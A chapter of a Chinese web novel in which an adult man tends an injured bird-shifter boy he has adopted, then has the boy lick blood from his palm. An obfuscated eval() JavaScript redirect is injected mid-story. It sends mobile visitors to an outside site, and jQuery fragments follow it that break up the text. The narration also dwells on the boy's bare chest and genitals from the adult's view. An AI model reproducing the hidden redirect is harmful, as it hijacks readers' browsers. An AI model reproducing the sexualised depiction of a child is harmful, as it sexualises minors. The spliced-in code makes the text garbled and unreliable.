默认冷灰
24号文字
方正启体

4. 咽下义父的血!

作者:枕北星本书字数:K更新时间:
    “别乱动。”


    白藏正掀起少年的衣服,细细检查他背上没法收回去的两截断裂的翅膀,其实其中一边的翅膀还算完整,只是血迹糊在羽毛上,很难清洗干净,加上没有搞清楚伤势的前提下,白藏也不敢随便给他清洗,看起来才会这么惨烈,而另一边就没有这么好运气了——那几只巨隼的喙坚..硬又尖锐,几下就把小隼的翅膀叨得见了骨头。


    从白藏捡到他那天算起,到今天已经是第三天的清晨,前两天夜里小孩儿为了不压到翅膀都只能侧着身子或是趴着睡,甚至没有一次变回过小鸟,这样下去不是办法,必须给他处理一下伤口才行。


    昨天晚上他想要用少年身上的衣服撕下一段来当成绷带为他先包扎一下过深的伤口,但小孩儿说什么也不肯。


    那脸上明摆着一副“给我了就是我的了”的表情,白藏倒也不生气,少年能有这样的情绪是好事,正好说明他还没有被伤得太狠太深,还有闹脾气的精力,有些时候他必须学会生存的技能,但不代表他就要成为一个冷情的人,在有些时候,孩子的年纪就该有孩子的心思才好。


    白藏觉着自己的育儿能力还是很不错的,才两天下来就成功让少年对着自己卸下了心防,虽然这孩子还是小心翼翼的,总担心自己会做错什么事,但能做到现在这样让白藏掀起衣服给他看伤口已经是很大的进步了。


    “好了,不是大问题。”白藏就算把他身后的伤势描述出来,小孩儿也听不懂,干脆一句话带过,“转过来让我看看前面。”


    少年不明所以地被他握着纤瘦的肩膀转过了身,面对着养父,背后的衣服被放了下来,和翅膀擦过时有些痒,但他忍着没说。


    看白藏做了一个抬手的手势,少年乖顺地拉起前面衣服的下摆,将衣角用贝..齿咬住——衣服太大了,只掀起一个角根本看不见什么,他又用两只手掀起衣服两边,才将胸膛露了出来。


    “呵,”白藏看着眼前嫩生生的少年身体,余光掠过粉白色的两点和小腹下乖巧的小小鸟,轻笑一声,“果然还是乳臭未干的毛头小子。”


    全身上下毛都没有几根。


    少年听不明白他在说什么,但听着他的笑声,忍不住将咬着衣服的唇抿得泛白,看见他这样,白藏担心他把嘴唇咬破,抬手给他把衣服放了下来:“冷了吗?”


    “……啊。”少年有些疑惑,刚才明明对着后背看了很久,还上手摸了,那带着茧子的手指虽然有些粗糙,但他并不排斥,还能说是有点喜欢和贪恋指腹的触感,怎么这次看前面不动手摸了?


    他主动自己掀起衣服,抚上白藏还没收回去的手,拉过来放在了自己的小腹上。


    “呦,还有腹肌呢。”白藏以为小鸟是想让他夸两句,非常给面子地摸了两把,不过手下微微收紧的腹部肌肉还真有腹肌的形状,想来也没错,在这种环境下长大的孩子,哪一个不是为了生存而努力?


    看养子之前的样子,应该是被巨隼追出来的,难道是因为一直在逃跑才锻练成这样的身体吗?


    不过这样随便把人拉过来摸自己,没有什么羞耻心可不是好事,得改。


    倒也不急于一时。


    小隼听着他上扬的尾音,能听出来义父很高兴,他腼腆地笑了笑,白藏还是第一次在他脸上看见笑容,收回手向上揉揉他毛绒绒的脑袋:“今天你自己待在这里,等我回来。”


    他不确定那些野马亚人认不认识小隼,又或者对小隼有没有敌意,他们看起来很谨慎,暂时不能让少年跟着自己,以免出现意外。并非他保护不好小孩儿,只是在养伤期间还是不要让他到处乱走,免得抻破还没愈合的伤口,那就得不偿失了。


    想起少年身后的断翅,白藏眸色一深——他的翅膀也需要想个办法,也许他可以为少年再做些什么……


    小孩儿正乖乖把衣服放下来整理好,看见义父正在盯着自己看,他这才想起自己并没有穿裤子,刚才是不是被看光了?顿时脸上飞起些红色,用手指压住了衣角边边。


    不过义父应该已经看见过了吧,之前他给自己穿衣服的时候,小隼身上可是什么都没穿,光溜溜的。


    想到这个,小隼脑袋更低了,听见白藏的话,他才迷茫地抬头看向男人,白藏指指小孩儿,又指指小屋:“你待在这里。”


    白藏又指指自己,指指河边:“我要出去一趟。”


    少年歪了歪脑袋,在两个方向来回看看,明白了他的意思,点点头。


    “真明白了?”白藏挑了挑浓黑的眉,他怎么看小孩儿表情有些不对劲呢?少年转身回到小屋里,坐好之后探出脑袋来,朝他摆摆手。


    还真看明白了?白藏心存疑惑,但时间不等人,正想和他挥手告别,赶时间去找找野马领地在哪里,但刚转过身眼角瞄见小孩儿脸上闪过的水光,他停住了脚步——呦,怎么还哭了?


    小隼以为义父是不要自己了,毕竟他没有说要回来,只说让自己待在这里,而他就要走了……


    少年吸吸鼻子,想着被抛下也不是一次两次了,低下头刚要擦干净眼泪去想想接下来该怎么办,面前就落下一片高大的阴影,在晨间的曦光之中将不算高的少年遮得严严实实。


    他愣了愣,抬头看向面前的男人。


    义父为什么还没走?


    “流血了。”白藏眉头紧皱,蹲在他面前伸手托起他的左臂,之前经过简单处理,已经开始有结痂势头的伤口这会儿因为一些动作崩开了,新鲜的血肉挤..压..在一起,涌出淡红色的血来,白藏用手背压..在他的伤口上,听见少年微小的气声,“疼?”


    问了也是白问,他俩谁也听不懂谁说话。


    白藏一声不吭地给他按着止血,这里的各种条件都太差,虽说贴近自然,但还比不上丧尸时期的条件,他今天必须去一趟野马的领地,抢也得抢点能给养子用的东西来。


    他这么想着时,一片落叶从两人头顶飘飘悠悠落下,正好擦过他的唇角,留下痒痒的感觉,白藏抬手擦了擦嘴边,正好沾了一点儿少年的血在唇边,他没多想,手按回去的同时伸..出舌尖舔去血色。


    少年的血很干净,毕竟他清洗得也很干净,不用担心有细菌,再加上小孩儿看起来也没病,再脏也不能脏过丧尸。


    白藏想到这里抬眸看着呆若木鸡的少年,忍俊不禁道:“疼不疼?”


    少年嘴唇嗫嚅着说了些什么,很小声,复杂陌生的话语落在了白藏耳中竟然自动转换成了他能听懂的词句:“不疼……”


    “你刚才说什么?”白藏愣了愣,但少年脸上的表情明显还是听不懂他在说什么。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154876|196538||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    白藏似乎发现了什么,若有所思地低头看向自己的掌心,在少年惊愕的目光中,将手掌在小屋边上不算圆润的边角上划了一下——他控制得很好,划出来的伤口不深不浅,正好能够让鲜红的血从一条血缝中争先恐后涌出来。


    少年不明白义父为什么要弄伤他自己,惊吓过后是慌乱,他捧过白藏的手,不知道该怎么办,可男人却在这时强硬地将掌心贴上了他的唇!


    血腥气息就在眼前,少年愕然瞪着眼睛,男人并没有捂住他的鼻子,他依然能够自由呼吸,难道义父是想要让他帮忙止血?


    他曾经见过猎食者们舔舐身上的伤口来加快伤口愈合,小隼瞳孔颤..抖着,鼓起勇气猜测着男人的心思,一双干净的眸子猝不及防撞进男人深邃的黑瞳。


    “舔,帮我舔干净。”白藏看着乖驯的养子,压低声音循循善诱道,他的声音听在少年耳中仿佛是蛊惑的毒..药,“舔一舔,乖孩子。”


    少年被他的状态吓得眼泪止不住往下流,连带着眼角都被咸湿的泪水染得通红,他本身就白得很,这么一对比,就显得眼尾的红色更是明显。


    他深吸一口气,像是作出了重大的决定,听话在男人掌心的遮捂下探出小舌舔舐着伤口中缓缓流出的血液。


    那味道并不算好,但他所属的隼类也是食肉的亚人,对血的味道并不陌生,也许是因为这个人是义父,就算他并不理解义父是什么意思,也还是因为这两个字的加持从血色中尝到了甜蜜的滋味。


    感受着少年小兽一般的舔舐,白藏感觉也差不多了,将手收了回来,少年没收住惯力,头颅无力地压..在了他的掌心,眼神有些迷离放空——吓坏了。


    白藏托着他的脑袋,想着也得给好好配合的小孩儿一点奖励,但他这会儿又没有礼物送给他,这时他想起从前在团队里,也有些手下在后几年有了孩子,总是会在孩子脸上亲亲当作是亲近的奖赏。


    少年还没回过神来,忽然被白藏指尖擦干净脸颊上的泪水和血色,那指尖又不容拒绝地撩开他额前的黑发,随即是熟悉气息的贴近,额头上落下并不算温柔的一个轻吻。


    “好孩子。”白藏看他猛然躲开了自己的手,应该是恢复了精力,起身居高临下看向小孩儿,“我出门一趟,会回来的,不许再哭。”


    少年已经懵了。


    自己为什么突然能听懂他说话了?


    会回来……会回来吗?


    他没有丢下自己?太好了,但是……


    义父为什么要亲他?


    “能听懂了对吧?”白藏不用问光是看他脸上的表情就知道他一定是能听懂了,但为了照顾这孩子过于敏..感又容易胡思乱想的心灵,还是多嘴问道,“我回来的时候能看见你吗?”


    少年呆呆点头,目光追随着男人,看他拿起野猪獠牙,又将裁剪好的巨蜥皮革缠在手上,才起身离开。


    盯着他宽厚的背影,少年轻手轻脚抚上之前被亲..吻过的额边,那儿仿佛还残留着男人的气息。


    正计划着要怎么和野马亚人沟通的白藏完全忘记了一件事,而他本人并没有要解释的想法。


    他忘记和少年解释义父是什么意思了。


    他身后远处小屋门前,少年珍重地吻在了方才摸过额头的指尖。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)